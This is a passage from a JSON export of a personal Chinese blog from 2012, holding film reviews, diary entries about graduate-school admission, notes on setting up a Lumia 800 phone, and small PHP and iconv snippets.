=！）《转山》让我又有了一股出游的冲动。影片开头我倒觉得其实自行车穿越滇藏线没什么危险，只要防止不被人坑就行了，看到后面之后才发现其实也是很有难度的。严重的高原反应，长时间的骑行，山路的蜿蜒曲折，这些在人正常的时候看感觉没什么，但是一到了疲惫状态后确实是非常容易出问题的。虽然可能没有片中张书豪那么严重（骑自行车骑得太坑爹了！），但是危险度确实是不容小视的。话说说到这里，我不得不吐槽一下，原来男人也是可以用卫生巾的！“还是带护翼的哦！”，晓川这话一说完我立马就晓得合不拢嘴了都。出野外有时候也会因为工作服不合身导致摩裆，现在终于又学到了一种解决办法了，哈哈！以前军训的时候就有人讲在鞋里垫张卫生巾可以防止磨破脚，现在再加上这个，不得不说，卫生巾对女人的作用大，对男人的作用也不小额~\n顺带说一句，电影的BUG较多，比如尼玛坑爹的张书豪同学，你是自带剃须刀和理发刀了么，肿么一个月下来每天你总是那么一抹性感的小胡须啊，短又没短到是剃过的，长又没长到像是长年累月留下的，哎！坑爹啊书豪君！再比如电话卡打电话那会儿，电话卡都不拔就走了，这不坑爹么！钱包里头就剩下100来块了啊有木有！）说到这里我要插一句了，好不容易打次电话，我肿么觉得应该给父母报声平安呢，给死去的哥哥打电话，还说的那么悱恻，不得不让我想多了啊想多了啊想多了啊。。。。）另外到了拉萨后尼玛那自行车就跟浴火重生了一样，全新了啊有木有，介于重新换车的可能性不大，只能是系统的BUG了啊！DEBUG者何在！！！\n好想好想，抽个时间，放下包袱，一辆单车，游走于咫尺天涯间。但是吐槽一下，像主角那样一个月基本都不接触电不接触手机不接触电脑的日子，我还真不确定我自己能忍受下来，啊啊啊啊！真是作死哦！\n","count":1003,"date":"2012年08月24日","featuredImage":null,"permalink":"https://imnerd.org/zhuan-shan.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#394642\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e这是一个骑友的故事，这是一个因哥哥去世悲伤过度为了完成其心愿而成为骑友并最终从哥哥的去世中解脱出来的故事。这部电影让我惊喜也让我意外。惊喜的是原来除了打打杀杀情情爱爱，仅仅是一路骑行，阅尽山水，阅尽沧桑，也能成为精彩的电影。而让我意外的是，也就是在这么简简单单的电影中，导演居然能够将“生死”、“爱情”、“童话”、“人兽大战”等看似在这部电影中不可能出现的主线元素融入其中。虽然有些地方添加的确实让人感觉有点刻意为之，但确实能够准确的表达出导演的意思。\u003c/p\u003e","time":3,"title":"转山"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":" 该片全场四个多小时（看的是台湾未删减版上下两部，不是国内院线版的哦！），这是我没想到的，都破了我之前看的《辛德勒名单》的三个多小时了。果然只有这种史诗级别的题材才能有这么长的吐槽时间啊！本片以“雾社事件”（点击这里了解历史上的雾社事件）为史实改编而成，无关官场，只有人性。这部反映台湾原住人民英勇反抗日本侵略的电影无疑是一部伟大的影片，种种场面都散发着人性的无畏与勇猛（虽然砍头出草什么的确实我不感冒），大家有空可以欣赏一下。\n历史我就没神马好吐槽的了，只是想说一下当我看到赛德克妇女和小孩为了给男人留下食物而集体自杀的时候，大家表现出来的义无返顾，决绝的精神，深深的感动了我。套用一句老话：“你不是一个人在战斗”。 那种连生命都可以拿出来奉献的精神，无论是在哪个场景都会被深深的打动的。他们奋起而战斗不是为了钱财，也不是为了自由，他们为的是他们身为赛德克人的尊严，为了守护他们心中的“猎场”，换他们的话就是“血迹祖灵”！明知道这是一场必输的战争，但是他们仍然毫无畏惧，仍然勇往直前，不带有一丝的顾虑。他们勇敢但是他们也狠心，一个个同伴在身边倒下，他们并没有回头，他们踏着同伴的尸体走向更远的地方，为了走向心中的“彩虹桥”彼岸。\n额，本来就想写两句夸夸的，没想到嘴巴收不住竟然说了这么多！其实他们有勇敢的一面，也有无知的一面。为了守护自己的猎场而猎杀其它部落的人，为了证明自己而不断的去砍下别人的头颅，为了自己的一点死人恩怨而可以帮助日本人屠杀自己同伴，这都是我所不能明白的。当然这些在我看来没有必要的东西，在别人看来并不尽然，甚至在他们的眼里是一种神圣的存在。可是我还是没来由的觉得郁闷，如果男人的尊严需要用同伴的鲜血来证明的话，我宁可不要这来之不易的尊严！\n最后来谈谈《赛德克·巴莱》的后期制作，不得不说，这部电影最大的败笔就在这后期电脑特效上头了。电影特效只能说做的差强人意，能够清楚的把东西表达出来，但是明眼人一看就知道这是电脑特效制作出来的，比如那鸟儿，比如那瀑布，比如那些大火，又比如那闪电，跟真实的比起来颜色和与实体的接触明明显多了，一看就知道是后期特效做出来的。我在豆瓣上给其的评分是3.5分（上部4分，下部3分），我想如果《赛德克·巴莱》在电脑特效上面做的更逼真一点的话，我会毫不犹豫的打上四颗星的，不过经费就那么多，这也是强求不来的。\n吐槽一句，现在真的是走火入魔了么，为什么看电影的时候我看的都不是角色，眼光总是透过演员深深的看向地上的岩石呢o(╯□╰)o！看完电影心得没多少，但是发现雾社这地方页岩砂岩较多，而且层理都非常的好，跟上回我画的地质图没有太大的出入，而且雾社这边的山好像很好爬的样子，填图神马的应该问题不大。\n","count":1117,"date":"2012年08月22日","featuredImage":null,"permalink":"https://imnerd.org/seediq-bale.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#136381\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e该片全场四个多小时（看的是台湾未删减版上下两部，不是国内院线版的哦！），这是我没想到的，都破了我之前看的《辛德勒名单》的三个多小时了。果然只有这种史诗级别的题材才能有这么长的吐槽时间啊！本片以“雾社事件”（\u003ca href=\"zh.wikipedia.org/zh/%E9%9C%A7%E7%A4%BE%E4%BA%8B%E4%BB%B6\"\u003e点击这里\u003c/a\u003e了解历史上的雾社事件）为史实改编而成，无关官场，只有人性。这部反映台湾原住人民英勇反抗日本侵略的电影无疑是一部伟大的影片，种种场面都散发着人性的无畏与勇猛（虽然砍头出草什么的确实我不感冒），大家有空可以欣赏一下。\u003c/p\u003e","time":3,"title":"赛德克·巴莱"},{"comments":{"data":[8],"errmsg":"","errno":0},"contents":" 前些日子干活的时候有需要将谷歌地球上的影像下载下来然后加载到项目中，就稍微做了一下了解。本来是打算写教程的，但是发现写教程截图神马的实在是太蛋疼了，所以写到一半就没写了（这货是写到一半的教程= =！），结果就出现了下面这货o(╯□╰)o，不明真相的同学可以路过了，哦HOHOHO~\n教程中提到的软件下载地址：卫星地图下载器\nPS:视频的声音可能有点小，请尽量放大音量。\n","count":181,"date":"2012年08月18日","featuredImage":null,"permalink":"https://imnerd.org/add-google-map-to-mapgis.html","summary":"\u003c!-- \u003ciframe src=\"https://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1769902385\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"750\" height=\"110\" loading=\"lazy\" sandbox=\"allow-popups allow-scripts allow-same-origin\" src=\"https://www.xiami.com/webapp/embed-player?autoPlay=1\u0026id=1772305699\"\u003e\u003c/iframe\u003e\n\u003cp\u003e前些日子干活的时候有需要将谷歌地球上的影像下载下来然后加载到项目中，就稍微做了一下了解。本来是打算写教程的，但是发现写教程截图神马的实在是太蛋疼了，所以写到一半就没写了（\u003ca href=\"https://docs.google.com/a/imnerd.org/file/d/0B9z45kxm7Ch6WmxzX1FPRW9USG8/preview\" target=\"_blank\" title=\"教程\"\u003e这货\u003c/a\u003e是写到一半的教程= =！），结果就出现了下面这货o(╯□╰)o，不明真相的同学可以路过了，哦HOHOHO~\u003c/p\u003e","time":1,"title":"如何将Google Earth上的卫星影像加载到MapGIS中"},{"comments":{"data":[13],"errmsg":"","errno":0},"contents":" 今天早上就在我还在图书馆拿着手机开小差的时候，地大就突然空降拟录取名单了。首先，很高兴名单上面有我，但其实也没有什么很高兴的，因为是自费。其实我的心里明白，努力了这么久，无论什么样的结果，只要能上，都是好结果。可是心里还是莫名的在纠结着，即使我反反复复的念叨着这些，却还是为“自筹”而苦闷着。回想自己一路走来，本科四年尽是花钱，奖学金也没怎么拿到，钱也没帮家里省到。上了研究生了，也还要让家里操心着，一年8000的学费，说大不大，说小不小，想想人家公费的瞬间就给家里省了万把块，心里真的是莫名的哀伤。家里目前虽然说不上非常贫困，但也是说不上富裕的，我曾经都想过不考研直接出来工作赚钱。打电话给妈妈说是自费的时候，我也是强装着非常的淡定，妈妈那边也是挺随便的。其实我知道，妈妈也在那里愁着，她怕我担心强装镇定，但是她不知道我早就开始担心了。\n不过说来说去都是怨天尤人，怪都只能怪自己不够努力。我就是这样一个人，总是好了伤疤忘了疼，只会在还没结痂的时候抱怨一句，一点基本的自制力都没有。研究生的道路是我自己选择的，我不会后悔，即使是自费我也必须去上。虽然大家都说我复习是打酱油，但是我真的努力过了，我不想就因为钱的事情让自己一年的努力付诸东流。钱，我可以再挣，时间，确实一去不回。\n初试复试都已成往昔，不管是初试复试都让我明白了很多东西。在这里记录一段复试见导师时候老师说的一段话，用以提醒自己。\n研究生三年说长不长，比本科四年短多了。三年的时间里，必须跨过自己的三个坎，随便跨过一个都是对自己的一个升华。第一是英语，学了这么多年的英语也该拿出来用了，要多读外文文献，要多说；第二是写文章，写文章是一个整理思路的过程，边写边发现问题，然后解决问题；第三是思考自己的未来，想想自己以后该干什么，或者说能干什么。三个坎哪怕跨过一个，都是好的，一个都没跨过，那就是混文凭的了。现在的研究生中混文凭的很多，如果拿这些去要求他们，90%的研究生都毕不了业。\n本来这篇日志是想说一下复试的，结果今早名单出来后完全没了说复试的心情。长路漫漫，我们还有很多路要走，正如我劝同学的那句话，日子总是要熬的，过着过着就过去了。经过这次，我会努力的。\n","count":907,"date":"2012年04月17日","featuredImage":null,"permalink":"https://imnerd.org/postgraduate.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#382457\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e今天早上就在我还在图书馆拿着手机开小差的时候，地大就突然空降拟录取名单了。首先，很高兴名单上面有我，但其实也没有什么很高兴的，因为是自费。其实我的心里明白，努力了这么久，无论什么样的结果，只要能上，都是好结果。可是心里还是莫名的在纠结着，即使我反反复复的念叨着这些，却还是为“自筹”而苦闷着。回想自己一路走来，本科四年尽是花钱，奖学金也没怎么拿到，钱也没帮家里省到。上了研究生了，也还要让家里操心着，一年8000的学费，说大不大，说小不小，想想人家公费的瞬间就给家里省了万把块，心里真的是莫名的哀伤。家里目前虽然说不上非常贫困，但也是说不上富裕的，我曾经都想过不考研直接出来工作赚钱。打电话给妈妈说是自费的时候，我也是强装着非常的淡定，妈妈那边也是挺随便的。其实我知道，妈妈也在那里愁着，她怕我担心强装镇定，但是她不知道我早就开始担心了。\u003c/p\u003e","time":2,"title":"我也是研究僧了"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":" 这种题材的电影看了不少，却很少有能让我为它写观后感的作品，这部Clapham Junction就是这少数中的极少数。豆瓣中中文名译作《情迷站台》（其它两个更是没懂），之所以不用这个中文名，是因为我觉得电影跟站台完全没关系啊，可能是我没深入的去看吧。Clapham是在英国同性恋合法化40年的时候放映的，反应了一代人对同性恋者的纠结，有帮助和同情，也有憎恨和鄙视。同类思想的经典还有《天佑鲍比》和《米尔克》，这都是经典之作了。虽然表达的思想一致，但是Clapham表现的手法确实非常细致入微，有种一字不说，却字字珠玑的感觉。\n电影以两位Gay的婚礼开始，体现出大社会中Gay的身份得到了认可。然而，婚外情的毒药却在殿堂一角悄悄的发芽。我觉得结婚的这两位的演技都非常的到位，花心的那一颦一笑一看就知道不可能忠贞不一，而另外一个仅仅就是一个眼神，就让我感觉到了爱的坚强。而后少年与大叔的一段基情四射从暗恋到偷窥到硬闯到最后，充分的反应出了大叔内心的挣扎，渴望成为大家眼中的普通人，却摆脱不了自己本能的欲望。我觉得只要大叔还住在有类似少年母亲这样的邻居周围，我想他永远不可能被当做普通人来看待吧。助于片头出现的小提琴男孩，最然是了了的几个画面，看似漫不经心，确实最让人感到惋惜的。他还那么小，他又有什么错呢？那一群小孩也没有错，错的只是那个畸形的社会和人们畸形的心态。说到畸形，电影中最变态的人物要出场了，诱惑Gay出去然后痛殴并侮辱他们，特别是第一个被他骗出去的Gay，被打的实在是太惨了，海扁、烟蒂和嘘嘘（这里演的实在是太真了，我都感觉像是真实拍摄的），简直是各种蔑视手段无所不用。豆瓣上有评论说他是Gay被人伤得很深结果病态成这个样子了。其实我更愿意相信，他就是社会大众中的那些不认可者，至于为何不认可以至于要到如此病态的地步，影片并未给出，只有靠大家自己去猜想了。\n一个朋友之间的聚餐，将本来毫无关联的几个悲伤故事瞬间就连接了起来。医生和花心大萝卜之间虽然还是当初，却又不是当初，有的只是医生的一厢情愿；少年和大叔从开始就注定了他们走不到一起，本已走出阴霾的大叔结果也因为少年母亲而重新关闭了心房；小提琴男孩的小提琴，甚至小男孩，再也不能给我们大家演奏悲伤的故事了；至于婚外恋的另一方，则莫名的惨死街边。导演虽然残忍，但是更残忍的确实这个社会。电影还描述了聚餐中的另外一位已婚男人厕所偷腥的情节，他一直都不肯告诉大家偷腥的事情，从某个方面也反映出了Gay自己对自己的不认同，这不得不说是社会的悲哀。好在，还有类似聚会女主人之类的人存在，“而且，就算他们像野狗一样在公园里面发情又有什么关系呢？他的境况是那么的悲惨，那么的可怕，没人该被那样的对待！”，这句话应该是全片主旨的精华了。在这个群居的社会里，每个人都不应该带着有色眼镜去看待他人，每个人都有自己的人权，而一个人的人权，你没有权利去践踏！\n下面来谈谈演员，我算是看出来了，只要是英国的片子，那大牌就是一坨一坨的啊。而且十部英片必顶十一部有基情，更何况这部正宗出来的呢，那激情部分可是一点都不含糊。由于我是快进看完的（正因为如此，来来回回倒了三四次），而且人员众多，导致我完全没有记住他们的名字（看出来了，上面的感后感一个名字都么提！T_T）。那个写小说的Gay，在《神探夏洛克》里头演那个探长。偷腥的那个和少年也都是名角。大叔，在《冰与火之歌》里头也有角色。吐槽一下，本来这部里头大叔很帅一人的，结果豆瓣了一下完全幻灭了有木有！！！好吧，果然人靠衣装美靠靓装啊（话说大叔不是就穿了一裤头的么[扣鼻屎]）。好吧其实这阵容应该还算好的了。不过大家演技真心不错，而且帅哥云集，少青中通吃，啧啧啧！\n","count":1519,"date":"2012年03月23日","featuredImage":null,"permalink":"https://imnerd.org/clapham-junction.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#2079017\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e这种题材的电影看了不少，却很少有能让我为它写观后感的作品，这部Clapham Junction就是这少数中的极少数。豆瓣中中文名译作《情迷站台》（其它两个更是没懂），之所以不用这个中文名，是因为我觉得电影跟站台完全没关系啊，可能是我没深入的去看吧。Clapham是在英国同性恋合法化40年的时候放映的，反应了一代人对同性恋者的纠结，有帮助和同情，也有憎恨和鄙视。同类思想的经典还有《天佑鲍比》和《米尔克》，这都是经典之作了。虽然表达的思想一致，但是Clapham表现的手法确实非常细致入微，有种一字不说，却字字珠玑的感觉。\u003c/p\u003e","time":4,"title":"Clapham Junction"},{"comments":{"data":[3],"errmsg":"","errno":0},"contents":" 此前v2ex谋篇强大的炒作文中要求算md5(任意三个字母+\u0026lsquo;substr(md5(\u0026lsquo;UTF-8\u0026rsquo;),20,4)\u0026rsquo;)，引发了我关于输出一个26个字母集数组的兴趣。下面是我测试的几种个人认为比较有代表的写法：\n先看普通青年的\n\u0026lt;?php $a = 'abcdefghijklmnopqrst'; $b = array(); for($i=0;$i\u0026lt;26;$i++) { $b[] = substr($a,$i,1); } ?\u0026gt; 再来看看文艺青年的\n\u0026lt;?php $b = array(); for($i=0;$i\u0026lt;26;$i++) { $b[] = chr($i+97); } ?\u0026gt; 最后看看2B青年的\n\u0026lt;?php $b = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'); ?\u0026gt; 以上仅代表个人观点，如有异议，请随意吐槽！\n","count":202,"date":"2012年03月15日","featuredImage":null,"permalink":"https://imnerd.org/26-zimu-xiefa.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#2073838\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e此前v2ex谋篇强大的炒作文中要求算md5(任意三个字母+\u0026lsquo;substr(md5(\u0026lsquo;UTF-8\u0026rsquo;),20,4)\u0026rsquo;)，引发了我关于输出一个26个字母集数组的兴趣。下面是我测试的几种个人认为比较有代表的写法：\u003c/p\u003e","time":1,"title":"普通/文艺/2B青年如何写字母数组"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":" 友人帐，是一本记录了许多妖怪名字的册子，谁拥有它就能无条件命令在友人帐上有署名的妖怪。刚开始侃夏目友人帐的时候还不是很明白片名，看到后头总算有所理解。友人帐看似是夏目玲子挑战（欺负？！）妖怪后得到的功勋，倒不如说是玲子各种各样的“妖怪朋友”，通过这么一本神奇的册子，将自己与它们联系在一起，让自己不再感到孤单寂寞。\n夏目友人帐无疑是一部非常温馨的治愈系动漫。夏木玲子因为能看到妖怪而被孤立，感到孤独无奈度过了自己的一生。虽然夏目贵志和他的祖母一样也能看到妖怪，但是他的生活和玲子不一样了，因为他的身边，多了爱他的塔子阿姨和滋叔叔，以及一群围绕在他身边关心他帮助他的朋友，这就使一颗冰冷的心感受到了丝丝的温暖，让贵志发生了本质的变化。什么妖怪只会坑蒙拐骗，全是胡说八道！我看到的，只是八原这块土地上所有的妖怪和贵志一块聊天喝酒玩踩鬼游戏，妖与妖之间深厚的友情，海誓山盟的爱情。\n每一个妖怪的背后，总有一些说不清道不明的，让你潸然泪下的故事。让我最感动的是把名字系在一棵树上让小妖怪五十年后去拿的那集，最后说出玲子的真实目的的时候，我已经哭的稀里哗啦了。玲子和贵志的未来不通，但是他们都有个相同的地方，就是非常温柔，不被妖怪的外表迷惑，分得清是与非。“只要人人都献出一片爱，世界将变成美好的明天”，我觉得这句歌词放到这里实在是再好不过了。\n顺便说一句，喵喵老师实在是萌的要死啊有木有！！\n","count":588,"date":"2012年03月13日","featuredImage":null,"permalink":"https://imnerd.org/xia-mu-you-ren-zhang.html","summary":"\u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1769629171\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e\n\u003cp\u003e友人帐，是一本记录了许多妖怪名字的册子，谁拥有它就能无条件命令在友人帐上有署名的妖怪。刚开始侃夏目友人帐的时候还不是很明白片名，看到后头总算有所理解。友人帐看似是夏目玲子挑战（欺负？！）妖怪后得到的功勋，倒不如说是玲子各种各样的“妖怪朋友”，通过这么一本神奇的册子，将自己与它们联系在一起，让自己不再感到孤单寂寞。\u003c/p\u003e","time":2,"title":"夏目友人帐"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":" 所以说买手机呢是需要果断滴，前面徘徊了那么久，结果还是直接就在淘宝找了个最便宜的店入手了。之前还纠结买蓝色还是黑色，但是在金钱面前，一切都是浮云啊，果断给入了最便宜的亚太黑了。买的时候机子是2620，加了一个剪卡器14块，然后店家搞活动好评返现30结果就相当于2600买到一台Lumia啦。而且店家寄送的是顺风，神速顺风果然不是盖滴，当天买滴第二天就给送到了，要知道平常顺风到我们这里也是要三天呢！\n拿到手机第一件事情就是熟悉操作，发现是定制机后第一部是打算刷港行固件的，结果悲催的刷机软件无法识别手机遂放弃。刷机不行就越狱吧，查了资料才发现居然没有完美越狱！好吧不完美就不完美吧。第一部需要一个edu邮箱，网上的教程没一个给力的，结果还是南大的朋友那里搞到的，这事情就花了我两天。第二部装SDK，提示我有两个问题，没装Visual Studio 2010 SP1另外系统盘要有4GB以上的空余空间。我也不想吐槽微软什么了，一个VS SP1居然有1G多，最重要的是后面我还安装失败了？！好吧，直接跳过2010装2011吧，又是1G多，好在咱网速给力，要不然还不给微软坑死？！好吧，安装的时候又来坑我了，要求6G的空余空间，真他妈想干掉微软！！我删软件我清缓存我转文档OK！终于可以装SDK了！好吧，又来坑我了，要求3G的空余空间，你妈微软还想不想活啦！！！！！日！好吧，我继续删软件我继续清缓存我继续转文档OK！终于安装好SDK了！最后一步Registeration Phone又被坑了，SDK无法识别手机！初步怀疑驱动问题，可是你妈诺基亚官方都不给出800的固件下载，我苦啊。最后是通过”右键我的电脑-管理-设备管理器“通过Nokia,Lumia 800,Windows Phone三个关键词找到手机驱动先卸载再安装再更新一遍就OK了。\n作为先驱还是在这里友情的提醒一下大家，安装前请保留系统盘大概有10G的空余空间吧，要不然你会被坑死的，一个SDK都能搞到2G多，微软果然不愧为硬盘杀手！\n下面来吐槽一下WP7,横向比较一下，WP7的流畅度果然是没话说的，与其说非常流畅，不如说流畅的让我感觉过头了！但是作为一个手机系统，WP7还有许许多多不完美的地方，下面我来慢慢列举：\n1、不能快速到通讯录，到了通讯录之后居然不可以用拼音查找联系人，非要用中文才行！ 2、居然没提供系统级别的关闭重感？！ 3、机器下方的三个触摸按钮没有背景灯，要靠感觉触摸，经常是试了很多次才行，而且非常容易误操作！ 4、目前系统还不带VPN，不自带截屏操作！ 5、所谓的后台属于假后台，后台的程序实际上停止了操作，虽然这样节电，但是有些操作还是希望能后台运行的。 6、缺少一些系统自带的功能（比如录音机，备忘录），这些功能我觉得完全不需要用户去找第三方软件帮忙系统应该自己带上。 7、最后吐槽一个，到现在居然还木有完美越狱啊有木有！ 希望微软能够加快更新WP7的速度，让Windows Phone更加完美！\n","count":1205,"date":"2012年03月06日","featuredImage":null,"permalink":"https://imnerd.org/lumia-800.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#2083315\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e所以说买手机呢是需要果断滴，前面徘徊了那么久，结果还是直接就在淘宝找了个最便宜的店入手了。之前还纠结买蓝色还是黑色，但是在金钱面前，一切都是浮云啊，果断给入了最便宜的亚太黑了。买的时候机子是2620，加了一个剪卡器14块，然后店家搞活动好评返现30结果就相当于2600买到一台Lumia啦。而且店家寄送的是顺风，神速顺风果然不是盖滴，当天买滴第二天就给送到了，要知道平常顺风到我们这里也是要三天呢！\u003c/p\u003e","time":3,"title":"Lumia 800"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":" 用Ubuntu看电影的时候发现加载进去的字幕总是乱码（突然发现我很少用Linux看电影！），网上搜索一番发现要将字幕转换成UTF-8格式才行，以下是代码：\niconv -f gbk -t utf8 源文件 \u0026gt;目标文件\n","count":93,"date":"2012年02月29日","featuredImage":null,"permalink":"https://imnerd.org/srt-convert.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#3338870\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e用Ubuntu看电影的时候发现加载进去的字幕总是乱码（突然发现我很少用Linux看电影！），网上搜索一番发现要将字幕转换成UTF-8格式才行，以下是代码：\u003c/p\u003e","time":1,"title":"解决Ubuntu字幕乱码"},{"comments":{"data":[1],"errmsg":"","errno":0},"contents":" 这几天一直在疯狂的等成绩，从最开始说的25号到27号然后是今天28号。越是临近成绩公布的日子我就越发的紧张，变得茫然而不知所措。疯狂的刷新新浪微博，豆瓣也只是徒劳无功。我是打算好查到成绩我就去学校的，所以当初F告诉我25号就能查到的时候我就果断跟大家说25号会去了。跟导师也是说25号，后来又说27号出我就改成了28号回去，结果26号导师说开会，我就尴尬鸟。\n虽然说27号能查到成绩，可是27号我等了一天也没公布，当时我就隐隐有一种预感，感觉明天一定能查到。果不其然等我到火车站用公共WiFi一查，真是公布了！！于是我就在各种刷新和重新连接中痛苦挣扎（WiFi不给力也木有办法啊）。查到成绩之后，就是各种电话啊有木有，完全不在乎什么长途漫游了有木有，日接电话量突破全年最高峰了啊有木有，上一下QQ日访问量也突破近十年最高峰了啊有木有！！整齐的一片都是问成绩的啊有木有！！英语49分被某些人打击成“50分的线”让我郁闷了很久，总分也是那种不上不下的，让我很是郁闷！寝室里各个400多让我各种相形见绌啊他妹子的。好在跟报考的导师电邮交谈了一下，稍微安心了。\n分数线3月中旬定。按往年进复试应该可以，好好准备下复试吧\n所谓生死有命富贵在天，我已经尽我所能了，最后结果时好时坏，我都无怨无悔，以上。\n","count":542,"date":"2012年02月28日","featuredImage":null,"permalink":"https://imnerd.org/post-result.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1769902385\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e这几天一直在疯狂的等成绩，从最开始说的25号到27号然后是今天28号。越是临近成绩公布的日子我就越发的紧张，变得茫然而不知所措。疯狂的刷新新浪微博，豆瓣也只是徒劳无功。我是打算好查到成绩我就去学校的，所以当初F告诉我25号就能查到的时候我就果断跟大家说25号会去了。跟导师也是说25号，后来又说27号出我就改成了28号回去，结果26号导师说开会，我就尴尬鸟。\u003c/p\u003e","time":2,"title":"终于查到成绩了"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":" 不好意思的说，《铁甲钢拳》是我看的电影中为数不多的动作（拳击算动作了吧）为主感情为辅而且后面让我潸然泪下（虽然有点害羞不过确实是真的）的电影。虽然说从理性的角度上分析电影的剧情稍微有点坑爹（不止一点好不好！哪里有那么懂事的小子，那么不懂事的老子！），但是电影所要表达的寓意是非常明确而且是感人的。可能是个人背景，父子片确实更能触动我的心弦。豆瓣上目前该电影的评分是8.2分，我本来是打算打四颗心的，因为是父子片，果断狠下心打了五颗，所以这一颗心是非常带有个人色彩的，大家慎重。\n剧情非常的简单，就是一个失落的拳击手因为一个聪明的儿子的鼓舞重新找回了自我并重新得到了一个美满的家庭。而作为拳击片，不得不说，机器人之间的拳击对抗确实让我看的是肾上腺素飙升！ATOM先抑后扬的手法虽然落了俗套，但也正符合了它的自学模式。先不收它那可爱的蓝色眼睛以及萌系身体（眼睛什么的超萌有没有！），各种勾拳也是看的人新潮那个澎湃。通过ATOM，查理父子也开始沟通理解。不过话说回来，有这么个懂事的娃儿真是好啊，再坑的爹（不是坑爹！）都能不坑爹了o(╯□╰)o\n下面进入主讲之演员模式，杰克曼我是不大熟啦（好吧我错了金刚狼X战警什么的我真的没怎么看o(╯□╰)o），当然一出场萌系的短头发和胡渣还是瞬间迷倒我啦。不过话说回来，原来杰克曼的头也能是长方形的啊，我一直以为他的脸是方形的诶（难道是金刚狼的那两鬓的毛在作怪？）。不过女主一出现我当然就我就不得不惊呼啦，我的KATE居然有在里面诶！知道我为什么喜欢KATE么，那是欣慰她在迷失里头跟JACK是一对，这叫爱屋及乌，懂？（表鄙视我→_→）小主也是很萌的，街舞小达人啊，瞬间我就想到了Biber有木有！话说小主还是个技术达人啊，各种组装各种给力啊，让我都自惭形秽了都，11岁我在干神马啊，我还在学校背唐诗宋词呢T_T！\n最后吐槽一下，铁甲是不是收了惠普好多钱啊，屏幕全部是惠普定制，而且日文神马的要不要这么普及啊，那个什么大声公，我去一看就知道是日本人的杰作啊，还恶心的在上面写满了日文（中文？）。不过表示对查理用的手机很喜欢，跟之前爆出来的一款概念机是一样的，透明触屏！机器人的声控也很给力，场上噪声那么大，对接受信号什么的完全没有干扰啊！\n","count":933,"date":"2012年02月22日","featuredImage":null,"permalink":"https://imnerd.org/real-steal.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1769832130\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e不好意思的说，《铁甲钢拳》是我看的电影中为数不多的动作（拳击算动作了吧）为主感情为辅而且后面让我潸然泪下（虽然有点害羞不过确实是真的）的电影。虽然说从理性的角度上分析电影的剧情稍微有点坑爹（不止一点好不好！哪里有那么懂事的小子，那么不懂事的老子！），但是电影所要表达的寓意是非常明确而且是感人的。可能是个人背景，父子片确实更能触动我的心弦。豆瓣上目前该电影的评分是8.2分，我本来是打算打四颗心的，因为是父子片，果断狠下心打了五颗，所以这一颗心是非常带有个人色彩的，大家慎重。\u003c/p\u003e","time":2,"title":"铁甲钢拳"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":" 